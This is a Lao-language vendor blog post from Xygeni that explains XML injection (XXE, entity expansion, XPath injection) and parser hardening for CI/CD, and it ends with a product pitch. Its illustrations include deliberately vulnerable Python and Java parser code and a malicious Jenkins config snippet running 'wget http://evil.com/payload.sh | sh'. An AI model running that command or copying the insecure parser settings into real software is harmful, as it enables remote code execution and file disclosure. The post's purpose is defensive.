ການສີດ XML - ວິທີການປ້ອງກັນການສີດ XML

ການສີດ XML: ວິທີທີ່ຜູ້ໂຈມຕີທຳລາຍຕົວວິເຄາະຂອງທ່ານ

ວິທີການສີດ XML ປ່ຽນ Parsers ໃຫ້ເປັນໜ້າດິນໂຈມຕີ

ນັກພັດທະນາມັກຈະບໍ່ຮູ້ວ່າການສີດ XML ສາມາດທຳລາຍລະບົບຂອງເຂົາເຈົ້າໄດ້ງ່າຍປານໃດ. ຖ້າທ່ານສົງໄສວ່າຈະປ້ອງກັນການສີດ XML ໄດ້ແນວໃດ, ຂັ້ນຕອນທຳອິດແມ່ນການຮູ້ວ່າມັນປາກົດຢູ່ໃສ. ຕາມຄ່າເລີ່ມຕົ້ນ, ຕົວວິເຄາະ XML ຫຼາຍຢ່າງໃນພາສາການຂຽນໂປຣແກຣມທີ່ທັນສະໄໝມີຄວາມສ່ຽງ. ເມື່ອທ່ານສົ່ງຂໍ້ມູນປ້ອນຂໍ້ມູນທີ່ຜູ້ໃຊ້ຄວບຄຸມໄປຫາຕົວວິເຄາະເຫຼົ່ານີ້, ໂດຍສະເພາະໂດຍບໍ່ມີການເຮັດໃຫ້ແຂງກະດ້າງທີ່ເໝາະສົມ, ທ່ານປ່ຽນໂປເຊດເຊີ XML ພື້ນຖານໃຫ້ກາຍເປັນເວັກເຕີໂຈມຕີ.

ນີ້ແມ່ນສິ່ງທີ່ເຮັດໃຫ້ການສີດ XML ເປັນອັນຕະລາຍຫຼາຍ: ມັນບໍ່ໄດ້ອີງໃສ່ຂໍ້ບົກພ່ອງໃນລະຫັດຂອງທ່ານ. ມັນໃຊ້ປະໂຫຍດຈາກວິທີທີ່ຕົວວິເຄາະຂອງທ່ານຖືກຕັ້ງຄ່າ ຫຼື ຕັ້ງຄ່າບໍ່ຖືກຕ້ອງ. ການເຂົ້າໃຈສິ່ງທີ່ມັນໝາຍຄວາມວ່າການຮຽນຮູ້ວິທີທີ່ຄຸນສົມບັດຕ່າງໆເຊັ່ນ: ການແກ້ໄຂໜ່ວຍຄວາມຈຳ, DTD ພາຍນອກ, ແລະ ການວິເຄາະ XPath ກາຍເປັນຄວາມສ່ຽງ.

ເຈົ້າບໍ່ຈຳເປັນຕ້ອງວິເຄາະ XML ຢ່າງຊັດເຈນ. ການສີດຈະສະແດງຢູ່ໃນໄຟລ໌ config, pipeline ຄຳນິຍາມ, ສິ່ງປະດິດທົດສອບ, ແລະເຄື່ອງມືພາກສ່ວນທີສາມ. ຖ້າເຈົ້າ CI/CD ຫຼື app stack ປະກອບມີ XML ໃດໆ, ທ່ານຈໍາເປັນຕ້ອງຮູ້ວິທີປ້ອງກັນມັນກ່ອນທີ່ມັນຈະກາຍເປັນບັນຫາລະບົບຕ່ອງໂສ້ການສະໜອງ.

ເວັກເຕີການໂຈມຕີທີ່ແທ້ຈິງຂອງການສີດ XML ໃນລະຫັດ ແລະ Pipelines

ນັກພັດທະນາຊ່ອງໂຫວ່ XML ໃນໂລກຕົວຈິງ Miss

ການສີດ XML ມັກຈະບໍ່ຖືກກວດພົບເພາະມັນຊ່ອນຢູ່ໃນເສັ້ນທາງລະຫັດທີ່ເຊື່ອຖືໄດ້:

  • ການຂະຫຍາຍໜ່ວຍງານ (ຫົວຂວັນຫຼາຍພັນລ້ານ): ໃຊ້ປະໂຫຍດຈາກການຊ້ຳຄືນຂອງ parser ຕໍ່ກັບລະບົບທີ່ຂັດຂ້ອງ.
  • ໜ່ວຍງານພາຍນອກ (XXE): ອ່ານໄຟລ໌ ຫຼື ເຂົ້າເຖິງການບໍລິການພາຍໃນ.
  • ການສີດ XPath: ຈັດການເຫດຜົນໃນການສອບຖາມທີ່ອີງໃສ່ XML.

ຕົວຢ່າງ Python (ຄວາມສ່ຽງ XXE)

⚠️ຄໍາເຕືອນ: ລະຫັດນີ້ອະນຸຍາດໃຫ້ແກ້ໄຂໜ່ວຍງານພາຍນອກ, ເຮັດໃຫ້ມັນມີຄວາມສ່ຽງຕໍ່ການໂຈມຕີ XXE.

from lxml import etree parser = etree.XMLParser(resolve_entities=True) xml = etree.fromstring(user_input, parser) 

ຕົວຢ່າງ Java (ການຂະຫຍາຍ Entity)

⚠️ຄໍາເຕືອນ: ຕົວວິເຄາະນີ້ໃຊ້ຄ່າເລີ່ມຕົ້ນທີ່ບໍ່ປອດໄພເຊິ່ງສາມາດຖືກນຳໃຊ້ໄດ້.

SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.parse(inputStream, handler); 

CI/CD ຕົວຢ່າງ:

⚠️ຄໍາເຕືອນ: ການສີດ XML ທີ່ບໍ່ປອດໄພເຂົ້າໄປໃນ pipeline configs ສາມາດນໍາໄປສູ່ການຂູດຮີດ.

<!-- Malicious Jenkins config.xml snippet --> <project> <builders> <hudson.tasks.Shell> <command>wget http://evil.com/payload.sh | sh</command> </hudson.tasks.Shell> </builders> </project> 

ຖ້າການປ້ອນຂໍ້ມູນເຫຼົ່ານີ້ບໍ່ໄດ້ຮັບການອະນາໄມ, ທ່ານຫາກໍ່ເປີດປະຕູສູ່ການສີດ XML ພາຍໃນຊຸດອັດຕະໂນມັດຂອງທ່ານ.

ເປັນຫຍັງຫໍສະໝຸດ XML ເລີ່ມຕົ້ນຈຶ່ງໃສ່ CI/CD ມີຄວາມສ່ຽງ

ນັກພັດທະນາສ່ວນໃຫຍ່ບໍ່ຮູ້ວິທີປ້ອງກັນການສີດ XML ເພາະວ່າພວກເຂົາບໍ່ຮູ້ວ່າເຄື່ອງມືຂອງພວກເຂົາກຳລັງໃຊ້ XML ຕັ້ງແຕ່ທຳອິດ. ເຄື່ອງມືທີ່ໄດ້ຮັບຄວາມນິຍົມເຊັ່ນ Maven, Jenkins, ແລະ framework ການນຳໃຊ້ຕ່າງໆຍັງຄົງອີງໃສ່ XML ເປັນຫຼັກ.

CI/CD ຈຸດສີດ:

  • Maven ຂອງ pom.xml
  • ການຕັ້ງຄ່າວຽກ Jenkins (config.xml)
  • ຊັບພະຍາກອນທີ່ກຳນົດເອງໂດຍອີງໃສ່ XML ຂອງ Kubernetes
  • ຜູ້ທົດສອບ Python ຫຼື Java ທີ່ອີງໃສ່ລາຍງານ XML

ສິ່ງທີ່ເຮັດໃຫ້ມັນຮ້າຍແຮງກວ່າເກົ່າກໍຄື ຫ້ອງສະໝຸດແຫຼ່ງເປີດຫຼາຍແຫ່ງໃຊ້ຕົວວິເຄາະ XML ທີ່ມີຄ່າເລີ່ມຕົ້ນທີ່ບໍ່ປອດໄພ, ເຮັດໃຫ້ການໂຈມຕີແບບສີດ XML ມີຄວາມສ່ຽງທີ່ແທ້ຈິງ.

⚠️ ຄໍາເຕືອນ: ບາງ pipelineວິເຄາະ XML ໂດຍອັດຕະໂນມັດຈາກອິນພຸດທີ່ບໍ່ໜ້າເຊື່ອຖື (ເຊັ່ນ: ການອັບໂຫລດສິ່ງປະດິດ).

ເມື່ອວິເຄາະແລ້ວ, XML ທີ່ມີໂຄງສ້າງທີ່ເປັນອັນຕະລາຍສາມາດ:

  • ເຂົ້າເຖິງໄຟລ໌ພາຍໃນ
  • ກະຕຸ້ນການໂທທາງໄກ
  • ປັບປຸງພຶດຕິກຳການເຮັດວຽກ

ເຈົ້າບໍ່ພຽງແຕ່ຖືກເປີດເຜີຍເທົ່ານັ້ນ, ເຈົ້າຍັງກະຈາຍສຽງການໂຈມຕີໄປທົ່ວທຸກໆ pipeline ດໍາເນີນການ.

⚠️ຄໍາເຕືອນ: ທັງຂັ້ນຕອນການເຮັດເປັນລຳດັບ ແລະ ການເຮັດດີຊີຣຽວເຊ ...

ວິທີການປ້ອງກັນການສີດດ້ວຍການຕັ້ງຄ່າ Parser ທີ່ປອດໄພ

ການປະຕິບັດທີ່ປອດໄພ: ວິທີການປ້ອງກັນການສັກຢາ

ເພື່ອຢຸດການສີດ, ທ່ານຕ້ອງເຮັດໃຫ້ຕົວວິເຄາະ XML ຂອງທ່ານແຂງຂຶ້ນກ່ອນທີ່ມັນຈະປະມວນຜົນການປ້ອນຂໍ້ມູນໃດໆ.

Java

// Secure XML parser config SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); 

Python

# Safe alternative to vulnerable XML parsers from defusedxml.ElementTree import fromstring xml = fromstring(user_input) # Safe from XXE and entity expansion 

CI/CD Pipeline

- name: Scan XML inputs for DTDs run: | grep -r '<!DOCTYPE' . || echo "No unsafe XML detected" 

ການປະຕິບັດທີ່ດີທີ່ສຸດ: ໃຫ້ສະແກນ ແລະ ປະຕິເສດ XML ທີ່ໃຊ້ການປະກາດ DOCTYPE ຫຼື ENTITY ສະເໝີ ເວັ້ນເສຍແຕ່ວ່າມີຄວາມຈຳເປັນຢ່າງຊັດເຈນ. ເຕັກນິກເຫຼົ່ານີ້ແມ່ນມີຄວາມຈຳເປັນຖ້າທ່ານຕ້ອງການຢຸດການສັກຢາ ແລະ ຮັບປະກັນວົງຈອນຊີວິດຂອງ DevOps ຂອງທ່ານ.

ຈາກການຕັ້ງຄ່າທີ່ບໍ່ຖືກຕ້ອງໄປສູ່ຄວາມສ່ຽງດ້ານລະບົບຕ່ອງໂສ້ການສະໜອງ: ບົດບາດຂອງ Xygeni

ທ່ານບໍ່ສາມາດຢຸດການສີດ XML ໄດ້ ຖ້າທ່ານບໍ່ຮູ້ວ່າ XML ຂອງທ່ານກຳລັງຖືກປະມວນຜົນຢູ່ໃສ. ນັ້ນແມ່ນບ່ອນທີ່ ຊີເກນີ ເຮັດໃຫ້ຄວາມແຕກຕ່າງ.

Xygeni ຊ່ວຍທີມງານຕ່າງໆ:

  • ສ້າງແຜນທີ່ການນຳໃຊ້ XML ໃນທົ່ວລະຫັດຖານ, ການສ້າງ ແລະ ສະພາບແວດລ້ອມເວລາແລ່ນ
  • ກວດພົບການຕັ້ງຄ່າ parser ທີ່ບໍ່ປອດໄພ ແລະ ການຈັດການໄຟລ໌ XML ທີ່ມີຄວາມສ່ຽງ
  • ລະບຸແພັກເກດພາກສ່ວນທີສາມທີ່ແນະນຳການວິເຄາະ XML ຢ່າງງຽບໆ
  • ຝັງນະໂຍບາຍການກວດສອບ XML ທີ່ປອດໄພໂດຍກົງໃສ່ CI/CD pipelines

ນີ້ບໍ່ແມ່ນພຽງແຕ່ກ່ຽວກັບການແກ້ໄຂ parser ເທົ່ານັ້ນ. ມັນກ່ຽວກັບການຮັບປະກັນວ່າທ່ານບໍ່ຈຳເປັນຕ້ອງຖາມວ່າທ່ານພາດເວັກເຕີ XML ແບບສີດໄດ້ແນວໃດອີກຕໍ່ໄປ.

ການລັອກ Parsers: ວິທີການປ້ອງກັນການສີດ XML ຢູ່ທົ່ວທຸກແຫ່ງ

ການສີດ XML ເປັນໄພຂົ່ມຂູ່ທີ່ຮ້າຍແຮງ, ເຖິງແມ່ນວ່າທ່ານຈະບໍ່ໄດ້ເຮັດວຽກກັບ XML ໂດຍກົງກໍຕາມ. ມັນມັກຈະເຂົ້າມາຜ່ານຄ່າເລີ່ມຕົ້ນ, ແພັກເກດພາກສ່ວນທີສາມ, ແລະສ່ວນທີ່ຖືກມອງຂ້າມຂອງ pipeline.

ເພື່ອປ້ອງກັນມັນ:

  • ຮູ້ຈັກວິທີ ແລະ ບ່ອນທີ່ XML ຖືກວິເຄາະໃນ stack ຂອງທ່ານ
  • ນຳໃຊ້ການຕັ້ງຄ່າທີ່ແຂງແກ່ນ ແລະ ຮູບແບບທີ່ຖືກກວດສອບແລ້ວ
  • ຕິດຕາມກວດກາ pipelineສຳລັບໂຄງສ້າງ XML ທີ່ບໍ່ປອດໄພ
  • ໃຊ້ Xygeni ເພື່ອກວດຫາ, ຕິດຕາມ ແລະ ແກ້ໄຂການສຳຜັດກັບຢາສັກກ່ອນການປ່ອຍຕົວ

ຖ້າເຈົ້າເອົາຈິງເອົາຈັງ ກ່ຽວກັບ DevSecOps, ເຈົ້າຕ້ອງເອົາຈິງເອົາຈັງກັບການສີດ. ແລະ ເຈົ້າຕ້ອງຮູ້ວິທີປ້ອງກັນການສີດ XML ໃນທຸກຊັ້ນຂອງ stack ເຈົ້າ. ຮັກສາຄວາມປອດໄພຂອງ XML ຂອງທ່ານ. ຮັກສາຄວາມປອດໄພຂອງທ່ານ pipelines. ກຳຈັດຄວາມສ່ຽງຈາກການສີດ XML.

ເຄື່ອງມືວິເຄາະອົງປະກອບຊອບແວ SCA
ຈັດລຳດັບຄວາມສຳຄັນ, ແກ້ໄຂ ແລະ ຮັກສາຄວາມສ່ຽງດ້ານຊອບແວຂອງທ່ານໃຫ້ປອດໄພ
ຮັບບັນຊີຟຣີຂອງທ່ານ.
ບໍ່ຕ້ອງມີບັດເຄດິດ.

ຮັບປະກັນການພັດທະນາຊອບແວ ແລະ ການຈັດສົ່ງຂອງທ່ານ

ດ້ວຍຊຸດຜະລິດຕະພັນ Xygeni